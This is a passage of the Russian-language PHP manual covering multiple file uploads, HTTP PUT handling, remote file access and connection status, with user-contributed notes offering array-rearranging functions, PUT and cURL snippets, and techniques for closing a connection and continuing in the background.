  ["/tmp/phpAYCvcc"]=> string(10) "file1.jpg"
  ["/tmp/phpCDg79o"]=> string(10) "file2.jpg"
}

The code:

$files = array_combine(
     $_FILES['receipt']['tmp_name'],
     $_FILES['receipt']['name']
);

foreach ($files as $key => $value) {
    // save your files locally
}
simbiat at outlook dot com 16-Feb-2021 12:12
While code from phpuser.at.gmail.dot.com is good and i.g.e.o@ya.(dot).ru is even better, there is no end to perfection. We can live without temporary variables
<?php
foreach ($_FILES as $field=>$files) {
    #Check if multiple files were uploaded to a field and process the values accordingly
    if (is_array($files['name'])) {
        foreach ($files['name'] as $key=>$file) {
            $_FILES[$field][$key]['name'] = $file;
            $_FILES[$field][$key]['type'] = $files['type'][$key];
            $_FILES[$field][$key]['size'] = $files['size'][$key];
            $_FILES[$field][$key]['tmp_name'] = $files['tmp_name'][$key];
            $_FILES[$field][$key]['error'] = $files['error'][$key];
        }
    } else {
        $_FILES[$field][0]['name'] = $files['name'];
        $_FILES[$field][0]['type'] = $files['type'];
        $_FILES[$field][0]['size'] = $files['size'];
        $_FILES[$field][0]['tmp_name'] = $files['tmp_name'];
        $_FILES[$field][0]['error'] = $files['error'];
    }
    unset($_FILES[$field]['name'], $_FILES[$field]['type'], $_FILES[$field]['size'], $_FILES[$field]['tmp_name'], $_FILES[$field]['error']);
}
?>
sabryabdelmohsen at gmail dot com 08-Sep-2020 05:48
function reArrayImages($file_post) {
    $file_ary = [];
    $file_keys = array_keys($file_post);
    foreach ($file_post as $key => $value) {
      foreach ($value as $key2 => $value2) {
        $file_ary[$key2][$key] = $value2;
      }
    }
    return $file_ary;
}
i.g.e.o@ya (dot) ru 22-May-2020 05:10
A bit update to 14 year ago note from "phpuser at gmail dot com".
That update converts to a really more friendly array form incoming _POST info for uploaded files.
And that variants works identical for non-multiple uploads and multiple uploads:
<?php
//Функция переформатирует массив поданных POST'ом файлов
function reArrayFiles(&$file_post){
    $isMulti    = is_array($file_post['name']);
    $file_count    = $isMulti?count($file_post['name']):1;
    $file_keys    = array_keys($file_post);

    $file_ary    = [];    //Итоговый массив
    for($i=0; $i<$file_count; $i++)
        foreach($file_keys as $key)
            if($isMulti)
                $file_ary[$i][$key] = $file_post[$key][$i];
            else
                $file_ary[$i][$key]    = $file_post[$key];

    return $file_ary;
}
?>
jefrey no spam please at jefrey dot ml 19-Jul-2016 02:39
Once I had to do a maintenance in a huge ERP that had several multiple upload inputs inside an array. Just like this:

<form method="post" enctype="multipart/form-data">
<input type="file" multiple name="upload[avatar]" />
<input type="file" multiple name="upload[attachment]" />
<input type="file" multiple name="upload2[avatar]" />
<input type="file" multiple name="upload2[attachment]" />
<input type="submit" />
</form>

The $_FILES array is created like this:

Array
(
    [upload] => Array
        (
            [name] => Array
                (
                    [avatar] => teste.c
                    [attachment] => teste
                )

            [type] => Array
                (
                    [avatar] => text/x-csrc
                    [attachment] => application/octet-stream
                )

            [tmp_name] => Array
                (
                    [avatar] => /opt/lampp/temp/phpuf3KNj
                    [attachment] => /opt/lampp/temp/php0yPZap
                )

            [error] => Array
                (
                    [avatar] => 0
                    [attachment] => 0
                )

            [size] => Array
                (
                    [avatar] => 1960
                    [attachment] => 8661
                )

        )

    [upload2] => Array
        (
            [name] => Array
                (
                    [avatar] => jefrey.html
                    [attachment] => notas.txt
                )

            [type] => Array
                (
                    [avatar] => text/html
                    [attachment] => text/plain
                )

            [tmp_name] => Array
                (
                    [avatar] => /opt/lampp/temp/php87nfyu
                    [attachment] => /opt/lampp/temp/phpUBlvVz
                )

            [error] => Array
                (
                    [avatar] => 0
                    [attachment] => 0
                )

            [size] => Array
                (
                    [avatar] => 583
                    [attachment] => 191
                )

        )

)

I've managed to re-arrange this array like this:

Array
(
    [upload] => Array
        (
            [avatar] => Array
                (
                    [name] => teste.c
                    [type] => text/x-csrc
                    [tmp_name] => /opt/lampp/temp/phpuf3KNj
                    [error] => 0
                    [size] => 1960
                )

            [attachment] => Array
                (
                    [name] => teste
                    [type] => application/octet-stream
                    [tmp_name] => /opt/lampp/temp/php0yPZap
                    [error] => 0
                    [size] => 8661
                )

        )

    [upload2] => Array
        (
            [avatar] => Array
                (
                    [name] => jefrey.html
                    [type] => text/html
                    [tmp_name] => /opt/lampp/temp/php87nfyu
                    [error] => 0
                    [size] => 583
                )

            [attachment] => Array
                (
                    [name] => notas.txt
                    [type] => text/plain
                    [tmp_name] => /opt/lampp/temp/phpUBlvVz
                    [error] => 0
                    [size] => 191
                )

        )

)

Here's my snippet:
<?php
function reArrayFilesMultiple(&$files) {
    $uploads = array();
    foreach($_FILES as $key0=>$FILES) {
        foreach($FILES as $key=>$value) {
            foreach($value as $key2=>$value2) {
                $uploads[$key0][$key2][$key] = $value2;
            }
        }
    }
    $files = $uploads;
    return $uploads; // prevent misuse issue
}
?>
lookphp at gmail dot com 10-Apr-2016 05:50
This is a very simple example:

Part I : HTML

<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
</head>
<body>
    <form action="upload.php" method="post" multipart="" enctype="multipart/form-data">
        <input type="file" name="img[]" multiple>
        <input type="submit">
    </form>
</body>
</html>

Part II : PHP

<?php
echo '<pre>';
$img = $_FILES['img'];

if(!empty($img))
{
    $img_desc = reArrayFiles($img);
    print_r($img_desc);

    foreach($img_desc as $val)
    {
        $newname = date('YmdHis',time()).mt_rand().'.jpg';
        move_uploaded_file($val['tmp_name'],'./uploads/'.$newname);
    }
}

function reArrayFiles($file)
{
    $file_ary = array();
    $file_count = count($file['name']);
    $file_key = array_keys($file);

    for($i=0;$i<$file_count;$i++)
    {
        foreach($file_key as $val)
        {
            $file_ary[$i][$val] = $file[$val][$i];
        }
    }
    return $file_ary;
}
Eric 28-Nov-2015 11:17
This is just a modification of the code which is the top note by "phpuser" here. His/her version requires that the $file_post array passed in to the function was created by a form submitted with the multiple attribute set. With multiple set in the html input tag, $_FILES["fileInputName"]["name"] is an array no matter if only one file is sent or multiple. But when <input type="file"> is used without the multiple attribute then $_FILES["fileInputName"]["name"] is not an array, it contains the the string with the filename. To use this neat function with or without multiple set and to get back an array which you can "foreach" over in either case, use this modification:

function reArrayFiles(&$file_post)
{
    $file_ary = array();
    $multiple = is_array($file_post['name']);

    $file_count = $multiple ? count($file_post['name']) : 1;
    $file_keys = array_keys($file_post);

    for ($i=0; $i<$file_count; $i++)
    {
        foreach ($file_keys as $key)
        {
            $file_ary[$i][$key] = $multiple ? $file_post[$key][$i] : $file_post[$key];
        }
    }

    return $file_ary;
}
Roman 29-Oct-2015 12:56
function reorganize($files) {
    foreach ($files as $var => $params) {
        foreach ($params as $name => $i) {
            foreach ($i as $num => $val) {
                $images[$var][$name] = $val;
                $arr[$num] = $images;
            }
        }
    }
    return $arr;
}

Array (
     [0] => Array (
         [image] => Array (
             [name] => white-rabbit-med-crop.jpg
             [type] => image/jpeg
             [tmp_name] => E:\xampp\tmp\phpC008.tmp
             [error] => 0
             [size] => 343326 )
        )
    [1] => Array (
         [image] => Array (
             [name] => white-rabbit-med-crop.jpg
             [type] => image/jpeg
             [tmp_name] => E:\xampp\tmp\phpC008.tmp
             [error] => 0
             [size] => 1429802 )
        )
)
swayalex at gmail dot com 21-Oct-2015 02:20
Recursive solution for complex situations (supports any nested arrays including indexed arrays)

function getFixedFilesArray() {
    $walker = function ($arr, $fileInfokey, callable $walker) {
        $ret = array();
        foreach ($arr as $k => $v) {
            if (is_array($v)) {
                $ret[$k] = $walker($v, $fileInfokey, $walker);
            } else {
                $ret[$k][$fileInfokey] = $v;
            }
        }
        return $ret;
    };

    $files = array();
    foreach ($_FILES as $name => $values) {
        // init for array_merge
        if (!isset($files[$name])) {
            $files[$name] = array();
        }
        if (!is_array($values['error'])) {
            // normal syntax
            $files[$name] = $values;
        } else {
            // html array feature
            foreach ($values as $fileInfoKey => $subArray) {
                $files[$name] = array_replace_recursive($files[$name], $walker($subArray, $fileInfoKey, $walker));
            }
        }
    }

    return $files;
}
Pako 25-Aug-2015 01:30
If you want to upload multiple file at once, remember "multiple" attribute:

<input type="file" multiple="multiple" name="file[]" enctype="multipart/form-data"/>
javad dot geek at gmail dot com 07-Feb-2014 02:14
$countarray = count($_FILES['uploadfile']['name']);
                $newarray = array();
                for($i=0;$i<$countarray;$i++){
                    $newarray[$i]['name']=$_FILES['uploadfile']['name'][$i];
                    $newarray[$i]['type']=$_FILES['uploadfile']['type'][$i];
                    $newarray[$i]['tmp_name']=$_FILES['uploadfile']['tmp_name'][$i];
                    $newarray[$i]['error']=$_FILES['uploadfile']['error'][$i];
                    $newarray[$i]['size']=$_FILES['uploadfile']['size'][$i];
                }
wizzard351 at yahoo dot com 27-Jan-2014 06:12
This is also needed for <input type=file multiple> elements.

So, if you have an input element like this:
<input type="file" multiple="multiple" name="foobar" />
This should be written as
<input type="file" multiple="multiple" name="foobar[]" />
else you'll only be able to get one of the files.
ohcnim at hotmail dot com 16-Aug-2013 11:18
by simply naming differently each file input you'll get easily accesible arrays from $_FILES, in the form $_FILES['input_name']['file_attribute'].  For example:

$_FILES['input_name1']['name']...['input_name1']['size']
$_FILES['input_name2']['name']...['input_name2']['size']
$_FILES['input_nameX']['name']...['input_nameX']['size']
timspeelman at live dot nl 18-Nov-2011 03:48
The cleanest way to rearrange the $_FILES

<?php
function rearrange( $arr ){
    foreach( $arr as $key => $all ){
        foreach( $all as $i => $val ){
            $new[$i][$key] = $val;
        }
    }
    return $new;
}
?>
contato at dgmike dot com dot br 19-Jul-2011 11:33
I prefer something like this!

<?php
public function arrayImages ( &$file_post )
{
    if( empty( $file_post ) ) {
        return $file_post;
    }
    if( 'array'!==gettype($file_post['name']) ) {
        return $file_post;
    }
    $keys = array_keys($file_post['name']);
    $file_array = array();
    foreach ($keys as $key) {
       foreach ($file_post as $res=>$item) {
           $file_array[$key][$res] = $item[$key];
       }
   }
   return $file_array;
}
?>
Corey Ballou 25-Mar-2010 01:10
Here is a function to fix the indices of a multi-dimensional for easier parsing when dealing with file uploads.  It takes a single $_FILES field array as a parameter and separates each individual uploaded file by numeric key.  This allows for iterating like:

<?php
fixFilesArray($_FILES['array_of_files']);
foreach ($_FILES['array_of_files'] as $position => $file) {
    // should output array with indices name, type, tmp_name, error, size
    var_dump($file);
}
?>

Here's the code:

<?php
/**
 * Fixes the odd indexing of multiple file uploads from the format:
 *
 * $_FILES['field']['key']['index']
 *
 * To the more standard and appropriate:
 *
 * $_FILES['field']['index']['key']
 *
 * @param array $files
 * @author Corey Ballou
 * @link http://www.jqueryin.com
 */
function fixFilesArray(&$files)
{
    $names = array( 'name' => 1, 'type' => 1, 'tmp_name' => 1, 'error' => 1, 'size' => 1);

    foreach ($files as $key => $part) {
        // only deal with valid keys and multiple files
        $key = (string) $key;
        if (isset($names[$key]) && is_array($part)) {
            foreach ($part as $position => $value) {
                $files[$position][$key] = $value;
            }
            // remove old key reference
            unset($files[$key]);
        }
    }
}
?>
jess at semlabs dot co dot uk 03-Mar-2009 12:32
If you try and upload files with multi-dimensional names like this:

<input type="file" name="submission[screenshot]" />
<input type="file" name="other[dem][][img][]" />

You will get an unexpected format like this:

<?php
array(
    'submission' => array
        (
            'name' => array( 'screenshot' => 'monster_wallpaper.jpg' ),
            'type' => array( 'screenshot' => 'image/jpeg' ),
            'tmp_name' => array( 'screenshot' => '/tmp/php48lX2Y' ),
            'error' => array( 'screenshot' => 0 ),
            'size' => array( 'screenshot' => 223262 ),
        ),
....
?>

You can use the following function to re-format the array recursively in the usual format:

<?php
function format_files_array( $files, $name = null, &$new = false, $path = false ){
    $names = array( 'name' => 'name', 'type' => 'type', 'tmp_name' => 'tmp_name', 'error' => 'error', 'size' => 'size' );

    foreach( $files as $key => &$part )
    {
        $key = ( string ) $key;
        if( in_array( $key, $names ) )
            $name = $key;
        if( !in_array( $key, $names ) )
            $path[] = $key;
        if( is_array( $part ) )
            $part = format_files_array( $part, $name, $new, $path );
        elseif( !is_array( $part ) )
        {
            $current =& $new;
            foreach( $path as $p )
                $current =& $current[$p];
            $current[$name] = $part;
            unset( $path );
            $name = null;
        }
    }

    return $new;
}
?>
hotmail.com[at]notdefix 27-Sep-2007 07:47
With multiple file uploads

post_max_size: the total amount of data posted by the client (all files, and all other form field)

upload_max_filesize: the maximum size of 1 single file. (just like <input type="hidden" name="MAX_FILE_SIZE" value="..."/>)

so, with the directives:
 post_max_size 25M
 upload_max_filesize 2M

you can send 12 files of up to 2 MB and use up to 1 MB for your additional form-values.

As long as you read only a single copy of 1 file into memory, the memory_limit directive can be held reasonable small as well.
phpuser at gmail dot com 26-May-2005 08:09
When uploading multiple files, the $_FILES variable is created in the form:

Array
(
    [name] => Array
        (
            [0] => foo.txt
            [1] => bar.txt
        )

    [type] => Array
        (
            [0] => text/plain
            [1] => text/plain
        )

    [tmp_name] => Array
        (
            [0] => /tmp/phpYzdqkD
            [1] => /tmp/phpeEwEWG
        )

    [error] => Array
        (
            [0] => 0
            [1] => 0
        )

    [size] => Array
        (
            [0] => 123
            [1] => 456
        )
)

I found it made for a little cleaner code if I had the uploaded files array in the form

Array
(
    [0] => Array
        (
            [name] => foo.txt
            [type] => text/plain
            [tmp_name] => /tmp/phpYzdqkD
            [error] => 0
            [size] => 123
        )

    [1] => Array
        (
            [name] => bar.txt
            [type] => text/plain
            [tmp_name] => /tmp/phpeEwEWG
            [error] => 0
            [size] => 456
        )
)

I wrote a quick function that would convert the $_FILES array to the cleaner (IMHO) array.

<?php

function reArrayFiles(&$file_post) {

    $file_ary = array();
    $file_count = count($file_post['name']);
    $file_keys = array_keys($file_post);

    for ($i=0; $i<$file_count; $i++) {
        foreach ($file_keys as $key) {
            $file_ary[$i][$key] = $file_post[$key][$i];
        }
    }

    return $file_ary;
}

?>

Now I can do the following:

<?php

if ($_FILES['upload']) {
    $file_ary = reArrayFiles($_FILES['ufile']);

    foreach ($file_ary as $file) {
        print 'File Name: ' . $file['name'];
        print 'File Type: ' . $file['type'];
        print 'File Size: ' . $file['size'];
    }
}

?>


Поддержка метода PUT

PHP поддерживает загрузку файлов методом HTTP PUT, который используется в некоторых клиентах для загрузки файлов на сервер. Запросы PUT намного проще, чем загрузка файла с использованием POST-запросами и выглядят примерно так:

PUT /path/filename.html HTTP/1.1

Такой вызов означает, что удалённый клиент хотел бы сохранить файл под именем /path/filename.html в дереве каталогов вашего веб-сервера. Очевидно, что возможность клиента автоматически перезаписывать файлы веб-сервера при помощи Apache или PHP не является хорошим решением. Поэтому для того, чтобы обрабатывать такие запросы, вам необходимо указать веб-серверу PHP-скрипт, которому вы доверяете их обработку. В веб-сервере Apache вы можете сделать это, используя директиву Script. Как правило, эта директива расположена внутри блока <Directory> или же внутри блока <VirtualHost>. Сама запись выглядит следующим образом:

Script PUT /put.php

Это указывает веб-серверу Apache на необходимость перенаправлять все PUT-запросы, контекст которых совпадает с контекстом, в которым вы разместили эту строку, в файл put.php. Предполагается, что файлы с расширением .php обрабатываются, как PHP-скрипты, и что сам PHP установлен и работает. Ресурсом назначения для всех PUT-запросов на этот скрипт должен быть сам скрипт, а не имя файла, которое должен иметь загружаемый файл.

Внутри вашего файла put.php вы можете поместить что-нибудь похожее на следующий пример. Он скопирует содержимое загруженного файла в файл myputfile.ext на сервер. Возможно, вам понадобится осуществить несколько проверок и/или аутентифицировать пользователя перед выполнением копирования этого файла.

Пример #1 Сохранение файлов, отправленных через HTTP PUT

<?php
/* PUT данные приходят в потоке ввода stdin */
$putdata = fopen("php://input", "r");

/* Открываем файл на запись */
$fp = fopen("myputfile.ext", "w");

/* Читаем 1 KB данных за один раз
и пишем в файл */
while ($data = fread($putdata, 1024))
fwrite($fp, $data);

/* Закрываем потоки */
fclose($fp);
fclose($putdata);
?>

User Contributed Notes

arnaud at caramia dot Fr 08-Jun-2023 06:27
We resolved our problem with https://pecl.php.net/package/apfd.

It parses multipart/form-data body (files and payload) with PUT and PATCH http requests, witch was only possible before with POST http request.
polygon dot co dot in at gmail dot com 23-Apr-2023 09:11
I was confused with file uploads using the PUT method.
My concern was why can't we upload multiple files using the PUT method with streams
PUT data comes in on the stdin stream
$putdata = fopen("php://input", "r");
Note the $putdata is a file pointer to the file content that is being uploaded.
The data is received on the server on the fly (which means available as it is received)

Secondly, when we are using parse_str(file_get_contents("php://input")).
This means the data is completely received on the server end and is then made available to the script.

When using fopen() one cant parse the data. This can be used when uploading a large file.
The file may range from 100's of MBs to Gigs where streams plays a major role.

Streams make the file data available to script in chunks instead of first saving in the temp folder.
Hence, when using $putdata = fopen("php://input", "r"); one can't pass the payload as well.
If someone wants to pass the payload the only option is in the URL query string.
Oscar Fernandez Sierra 14-Dec-2021 09:27
This is what worked for me. There are many examples in the web that don't work. I found in https://lornajane.net/posts/2009/putting-data-fields-with-php-curl.

IMPORTANT: You should not use the code

       curl_setopt($ch, CURLOPT_PUT, true);

even if it seems to be the right option (it would be the right option for a POST request, with CURLOPT_POST, but it does not work for a PUT request).

Notice that the constant CURLOPT_CUSTOMREQUEST is used instead of CURLOPT_PUT, and that the value used is "PUT" instead of true.

<?php

        $url = "....."; // put your URL here

        $data = array("a" => $a);

        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "PUT");
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));

        $response = curl_exec($ch);
        if ( ! $response) {
            return false;
        }
willy at kochkonsult dot no 25-Nov-2021 01:35
All the example code I found for using PUT with PHP always used a default hard-coded file extension for the incoming stream.

The filename from the incoming file PUT request can't be found anywhere from the incoming request (at least I couldn't find it) but mimetype can be found in the $_SERVER global variable.

I used this code to get the correct file extension:

$mimeType = $_SERVER['HTTP_CONTENT_TYPE'];

if ($mimeType!='application/pdf')
    {
    header('HTTP/1.1 405 Only PDF files allowed');
    echo("Only PDF files are allowed for upload - this file is ".$mimeType);
    die();
    }
else $fileExtension = 'pdf';

If you have an Apache Tika server available, that would be the best option to analyze the file content to get the mimetype, but that might not be in scope for everyone :-)
San 19-Mar-2014 09:33
Instead of using fread fwrite to save uploaded content to a file.
stream_copy_to_stream is much cleaner.
micronix at gmx dot net 10-Sep-2010 07:43
Hello PHP World After many Hours of worryness :=)

I have found the Solution for Resume or Pause Uploads
In this Code Snippet it is the Server Side not Client on any Desktop Programm you must use byte ranges to calculate the uploaded bytes and missing of total bytes.

Here the PHP Code

<?php
$CHUNK = 8192;

        try {
            if (!($putData = fopen("php://input", "r")))
                throw new Exception("Can't get PUT data.");

            // now the params can be used like any other variable
            // see below after input has finished

            $tot_write = 0;
            $tmpFileName = "/var/dev/tmp/PUT_FILE";
            // Create a temp file
            if (!is_file($tmpFileName)) {
                fclose(fopen($tmpFileName, "x")); //create the file and close it
                // Open the file for writing
                if (!($fp = fopen($tmpFileName, "w")))
                    throw new Exception("Can't write to tmp file");

                // Read the data a chunk at a time and write to the file
                while ($data = fread($putData, $CHUNK)) {
                    $chunk_read = strlen($data);
                    if (($block_write = fwrite($fp, $data)) != $chunk_read)
                        throw new Exception("Can't write more to tmp file");

                    $tot_write += $block_write;
                }

                if (!fclose($fp))
                    throw new Exception("Can't close tmp file");

                unset($putData);
            } else {
                // Open the file for writing
                if (!($fp = fopen($tmpFileName, "a")))
                    throw new Exception("Can't write to tmp file");

                // Read the data a chunk at a time and write to the file
                while ($data = fread($putData, $CHUNK)) {
                    $chunk_read = strlen($data);
                    if (($block_write = fwrite($fp, $data)) != $chunk_read)
                        throw new Exception("Can't write more to tmp file");

                    $tot_write += $block_write;
                }

                if (!fclose($fp))
                    throw new Exception("Can't close tmp file");

                unset($putData);
            }

            // Check file length and MD5
            if ($tot_write != $file_size)
                throw new Exception("Wrong file size");

            $md5_arr = explode(' ', exec("md5sum $tmpFileName"));
            $md5 = $md5sum_arr[0];
            if ($md5 != $md5sum)
                throw new Exception("Wrong md5");
        } catch (Exception $e) {
            echo '', $e->getMessage(), "\n";
        }
?>
yaogzhan at gmail dot com 14-Dec-2005 04:01
PUT raw data comes in php://input, and you have to use fopen() and fread() to get the content. file_get_contents() is useless.

The HTTP PUT request MUST contain a Content-Length header to specify the length (in bytes) of the body, or the server will not be able to know when the input stream is over. This is the common problem for many to find the php://input empty if no such header available.

This should make PUT work properly on win32 using PHP5.1.1 and apache2.
warhog at warhog dot net 20-Sep-2005 01:22
NOTE: The <Script>-Directive can not be placed in .htaccess files.

So if you're having shared webspace and no access to the apache-configuration file you will have little chance to make something like this work.

But you can solve the problem, using mod_rewrite (for Apache) - for further information see the documentation at http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html
gherson 15-Aug-2005 02:16
A Case Study:  To set up publishing with Netscape 7.2 Composer to Apache/PHP, no need to use CGI (which I tried unsuccessfully for too long) or to alter Apache's httpd.conf.  I needed only to click Publish As, fill in put2disk.php as the filename (where its contents are the below), and fill in that file's dir as the "Publishing address".
XAMPP 1.4.14: Apache/2.0.54 (Win32) mod_ssl/2.0.54 OpenSSL/0.9.7g PHP/5.0.4.

<? // filename: put2disk.php.

//file_put_contents ("get_def.out", print_r (get_defined_vars(), TRUE)); // debugging

// Two slurp methods: (a) didn't work, (b) did.
//$stdin_rsc = fopen("php://input", "r");
//$putdata='';
//while ($putdata .= fread($stdin_rsc, 1024)); // a. Hangs the "Publishing..." dialog.
//while (!feof($stdin_rsc)) $putdata.=fread($stdin_rsc, 8192); // b. Worked, but file_get_contents is faster.
//fclose($stdin_rsc);

// All that's nec:
$putdata=file_get_contents('php://input'); // Not php://stdin! (When the ability to see error messages isn't available, the doc (this manual page) needs to be more accurate.)

file_put_contents("stdin.out",$putdata);
?>
mikeb at mikebanahan dot com 03-Nov-2003 02:41
I have spent a lot of time trying to make PUT work with Apache 2.0.40. I have not yet been able to find any way of making the Script directive invoke php via mod_php, the only way has been to have a file called example.cgi and invoke it via CGI, with the file starting
#!/usr/bin/php
so the PHP interpreter is invoked through the CGI mechanism and not as a module.

If there IS a way of making it work 'right' I'd love to know! After six hours of messing around, I've settled for CGI. The error messages in the apache error log are significantly misleading and the whole thing has been an exercise in frustration.

Attempts to use AddHandler and all 'normal' ways of trying to persuade Apache to do this have been fruitless. It does seem as if PUT can only be handled by CGI invocation.


  • « Поддержка метода PUT
  • Работа с удалёнными файлами »
  • PHP Manual
  • Загрузка файлов на сервер
  • Смотрите также

Смотрите также

  • Безопасность файловой системы

User Contributed Notes

There are no user contributed notes for this page.


Работа с удалёнными файлами

В случае, если опция allow_url_fopen включена в конфигурационном файле php.ini, вы можете использовать URL-адреса HTTP и FTP в большинстве функций, принимающих в качестве параметра имя файла. Также вы можете использовать ссылки в операторах include, include_once, require и require_once (для корректной работы этих функций должна быть включена опция allow_url_include). Дополнительную информацию о поддерживаемых в PHP протоколах вы можете найти в Поддерживаемые протоколы и обёртки.

Например, вы можете использовать это для того, чтобы открыть файл на удалённом сервере, извлечь необходимые вам данные и использовать их в запросе к базе данных или же просто отобразить их в дизайне вашего сайта.

Пример #1 Получение заголовка удалённой страницы

<?php
$file = fopen ("http://www.example.com/", "r");
if (!$file) {
echo "<p>Невозможно открыть удалённый файл.\n";
exit;
}
while (!feof ($file)) {
$line = fgets ($file, 1024);
/* Сработает, только если заголовок и сопутствующие теги расположены в одной строке */
if (preg_match ("@\<title\>(.*)\</title\>@i", $line, $out)) {
$title = $out[1];
break;
}
}
fclose($file);
?>

Вы также можете работать с удалёнными файлами, расположенными на FTP-сервере (подразумевается, что вы авторизовались с необходимыми для этого привилегиями). Таким образом вы можете только создавать новые файлы, но попытка перезаписать существующий файл при помощи функции fopen() приведёт к ошибке.

Для того, чтобы авторизоваться под пользователем, отличным от 'anonymous', вам необходимо указать логин (и, возможно, пароль) в адресной строке, например так: 'ftp://user:password@ftp.example.com/path/to/file'. (Вы можете использовать этот же синтаксис для доступа к удалённым файлам по HTTP-протоколу, если необходима Basic-аутентификация.)

Пример #2 Сохранение данных на удалённом сервере

<?php
$file = fopen ("ftp://ftp.example.com/incoming/outputfile", "w");
if (!$file) {
echo "<p>Невозможно перезаписать удалённый файл.\n";
exit;
}
/* Запись данных. */
fwrite ($file, $_SERVER['HTTP_USER_AGENT'] . "\n");
fclose ($file);
?>

Замечание:

Глядя на приведённый выше пример, у вас может возникнуть идея использовать эту технику для ведения удалённого лог-файла. К сожалению, это нереализуемо, поскольку попытка записи в уже существующий удалённый файл при помощи функции fopen() приведёт к ошибке. В реализации распределённого логирования, возможно, вам поможет функция syslog().

User Contributed Notes

There are no user contributed notes for this page.


Работа с соединениями

Статус соединения сохраняется внутренними механизмами PHP. Ниже перечислены четыре возможные состояния:

  • 0 - NORMAL
  • 1 - ABORTED
  • 2 - TIMEOUT
  • 3 - ABORTED и TIMEOUT

Во время штатного выполнения PHP-скрипта установлен статус NORMAL. В случае, если удалённый клиент разорвал соединение, статус изменяется на ABORTED. Чаще всего отсоединение удалённого клиента происходит при нажатии кнопки "Stop" в браузере. В случае, если достигается установленный временной лимит (ознакомьтесь с функцией set_time_limit()), будет установлен статус TIMEOUT.

Вы можете решать, приводит ли отключение клиента к завершению вашего скрипта. Иногда бывает необходимо, чтобы скрипт выполнился до конца, даже если отсутствует удалённый браузер, которому адресован весь вывод. По умолчанию скрипт завершает свою работу при отключении клиента. Это поведение может быть изменено при помощи опции ignore_user_abort в конфигурационном файле php.ini. Такого же результата можно добиться, указав php_value ignore_user_abort в конфигурационном файле Apache httpd.conf или воспользовавшись функцией ignore_user_abort(). Если вы явно не указали на необходимость игнорировать разрыв соединения с клиентом, выполнение скрипта будет прервано. Исключением является тот случай, если используя register_shutdown_function(), вы указали специальную функцию, вызываемую при завершении скрипта. В таком случае после того, как пользователь нажал кнопку "Stop" в своём браузере, при первой же попытке что-либо вывести PHP обнаруживает, что соединение с клиентом было утеряно, и вызывает завершающую функцию. Эта функция также вызывается при нормальном завершении работы вашего скрипта, поэтому для того, чтобы выполнить некоторые специфические действия при отсоединении клиента, вам понадобится функция connection_aborted(), которая возвращает true, если соединение было разорвано.

Выполнение вашего скрипта также может быть прервано встроенным таймером. Стандартное ограничение по времени составляет 30 секунд, изменить его можно при помощи директивы max_execution_time в конфигурационном файле php.ini. Такого же результата можно достичь, добавив php_value max_execution_time в конфигурационный файл Apache httpd.conf или воспользовавшись функцией set_time_limit(). При достижении скриптом временного лимита выполнение скрипта прерывается и вызывается завершающая функция, если она была указана. Уточнить причину завершения скрипта вы можете при помощи функции connection_status(), которая возвращает 2, если скрипт был прерван по достижению временного ограничения.

Единственное, что следует заметить - что оба статуса: ABORTED и TIMEOUT, - могут быть установлены одновременно. Это может произойти в том случае, если вы явно указали необходимость игнорировать отсоединение удалённого клиента. В таком случае после разрыва соединения, отметив этот факт, PHP продолжит выполнение скрипта, и при достижении временного лимита будет вызвана завершающая функция, если таковая была указана. В этой точке вы можете обнаружить, что connection_status() вернёт значение 3.

User Contributed Notes

Marco 08-Mar-2017 05:58
The CONNECTION_XXX constants that are not listed here for some reason are:

0 = CONNECTION_NORMAL
1 = CONNECTION_ABORTED
2 = CONNECTION_TIMEOUT
3 = CONNECTION_ABORTED & CONNECTION_TIMEOUT

Number 3 is effectively tested like this:
if (CONNECTION_ABORTED & CONNECTION_TIMEOUT)
    echo 'Connection both aborted and timed out';
robert at go dot rw 14-Apr-2016 01:54
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
/*
 * Anti-Pattern
 */

# Connect
mysql_connect('localhost', 'username', 'password') or die('Could not connect: ' . mysql_error());

# Choose a database
mysql_select_db('someDatabase') or die('Could not select database');

# Perform database query
$query = "SELECT * from someTable";
$result = mysql_query($query) or die('Query failed: ' . mysql_error());

# Filter through rows and echo desired information
while ($row = mysql_fetch_object($result)) {
    echo $row->name;
}
mheumann at comciencia dot cl 29-Jul-2013 02:38
I had a lot of problems getting a redirect to work, after which my script was intended to keep working in the background. The redirect to another page of my site simply would only work once the original page had finished processing.

I finally found out what was wrong:
The session only gets closed by PHP at the very end of the script, and since access to the session data is locked to prevent more than one page writing to it simultaneously, the new page cannot load until the original processing has finished.

Solution:
Close the session manually when redirecting using session_write_close():

<?php
ignore_user_abort(true);
set_time_limit(0);

$strURL = "PUT YOUR REDIRCT HERE";
header("Location: $strURL", true);
header("Connection: close", true);
header("Content-Encoding: none\r\n");
header("Content-Length: 0", true);

flush();
ob_flush();

session_write_close();

// Continue processing...

sleep(100);
exit;
?>

But careful:
Make sure that your script doesn't write to the session after session_write_close(), i.e. in your background processing code.  That won't work.  Also avoid reading, remember, the next script may already have modified the data.

So try to read out the data you need prior to redirecting.
Ilya Penyaev 27-Sep-2012 06:25
I was quite stuck when trying to make my script redirect the client to another URL and then continue processing. The reason was php-fpm. All possible buffer flushes did not work, unless I called fastcgi_finish_request();

For example:

<?php
    // redirecting...
    ignore_user_abort(true);
    header("Location: ".$redirectUrl, true);
    header("Connection: close", true);
    header("Content-Length: 0", true);
    ob_end_flush();
    flush();
    fastcgi_finish_request(); // important when using php-fpm!

    sleep (5); // User won't feel this sleep because he'll already be away

    // do some work after user has been redirected
?>
Anonymous 29-Dec-2011 05:52
This simple function outputs a string and closes the connection. It considers compression using "ob_gzhandler"

It took me a little while to put this all together, mostly because setting the encoding to none, as some people noted here, didn't work.

<?php
function outputStringAndCloseConnection2($stringToOutput)
{
    set_time_limit(0);
    ignore_user_abort(true);
    // buffer all upcoming output - make sure we care about compression:
    if(!ob_start("ob_gzhandler"))
        ob_start();
    echo $stringToOutput;
    // get the size of the output
    $size = ob_get_length();
    // send headers to tell the browser to close the connection
    header("Content-Length: $size");
    header('Connection: close');
    // flush all output
    ob_end_flush();
    ob_flush();
    flush();
    // close current session
    if (session_id()) session_write_close();
}
?>
a1n2ton at gmail dot com 12-Dec-2009 01:09
